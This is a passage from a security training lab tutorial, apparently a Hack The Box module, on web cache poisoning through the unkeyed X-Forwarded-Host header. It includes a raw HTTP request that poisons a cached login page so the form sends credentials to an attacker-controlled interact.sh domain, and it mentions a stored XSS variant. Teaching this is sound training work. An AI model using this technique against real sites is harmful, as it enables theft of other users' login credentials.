Web Cache Poisoning

Host header attacks are frequently combined with web cache poisoning vulnerabilities in real-world attack vectors. If the web application uses an unkeyed header to construct absolute links, the web cache can potentially be poisoned. However, the host header is typically part of the cache key making web cache poisoning impossible to exploit. When the web application supports override headers to construct links and these headers are unkeyed, web cache poisoning becomes a possibility.

Identification

After starting the web application in the exercise below, we see a login view. Since we do not have credentials there is not much we can do at this point. So let's investigate the web application for keyed parameters. We can apply the same logic from the previous sections to determine that both the path and the host header are keyed. There are no GET parameters to test.

Additionally, we can see that the web application uses the host header to construct the absolute URL of a JavaScript import and the action of the login form:

Since the host header is keyed, this by itself is not sufficient to poison the cache for other users. However, if we try to inject override headers, the web application prefers the override header X-Forwarded-Host over the host header. Applying the same testing logic we can deduce that the X-Forwarded-Host header is unkeyed, making the web application vulnerable to web cache poisoning. Keep in mind that we need to use a fresh value for the host header to act as a cache buster:

Exploitation

We could exploit this in two different ways:

• Since the web application uses our malicious input for a JavaScript import, we could point it to a server under our control, host a script file, and execute an XSS attack against all users that get served the poisoned cache
• Since the web application also uses our malicious input for the action of the login form, we could point it to a server under our control and wait for a user to log in. This would send the login credentials to our server

We are going to execute the second approach. To do that, let's use interact.sh again: https://app.interactsh.com/. Copy the domain generated by interact.sh to the X-Forwarded-Host header. Now we just need to know the host header other users are using for the application. In a real-world setting, this value would be obvious as we already know the target's URL, for instance, www.hackthebox.com. In our case, let's assume the domain is admin.hostheaders.htb. So the full request to poison the cache looks like this:

GET /login.php HTTP/1.1
Host: admin.hostheaders.htb
X-Forwarded-Host: cf187gp2vtc0000b03cgg8owd3ayyyyyb.oast.fun

Send the request twice and ensure that the second request is a cache hit. Now we just have to wait for another user to log in. After some time we should see a request on interact.sh containing the administrator's credentials: